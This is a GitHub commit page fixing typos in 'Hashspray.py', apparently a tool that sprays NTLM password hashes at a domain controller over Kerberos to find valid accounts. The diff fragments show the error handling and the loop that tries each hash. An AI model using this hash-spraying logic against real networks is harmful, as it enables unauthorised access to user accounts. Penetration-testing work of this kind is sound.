Skip to content

Commit

Permalink
Fixed typos
Browse files Browse the repository at this point in the history
  • Loading branch information
sator-sdk authored Feb 29, 2024
1 parent cf58e0f commit 5a71af8
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions Hashspray.py
Original file line number Diff line number Diff line change
Expand Up @@ -32,12 +32,12 @@ def login(username, password, domain, lmhash, nthash, aesKey, dc_ip):
return True
except KerberosError as e:
if e.getErrorCode() in [
constants.Errorcodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value,
constants.ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value,
constants.ErrorCodes.KDC_ERR_CLIENT_REVOKED.value,
constants.ErrorCodes.KDC_ERR_WRONG_REALM.value
]:
print("[-] Username not found: %s/%s" % (domain, username))
elif e.getErrorCode() == constants.Errorcodes.KDC_ERR_PREAUTH_FAILED.value:
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value:
return
else:
print(e)
Expand Down Expand Up @@ -66,7 +66,7 @@ def login(username, password, domain, lmhash, nthash, aesKey, dc_ip):
for hash in hashes:
success = login(username, '', domain, '', hash, None, dc_ip)
if success:
print("[+] Success - valid user on DC found: {}/{}".format(domain, username))
print("[+] Success - valid user on DC found: {}/{}".format(username, hash))
break
else:
print("[-] Authentication failed - No valid hash found.")

0 comments on commit 5a71af8

Please sign in to comment.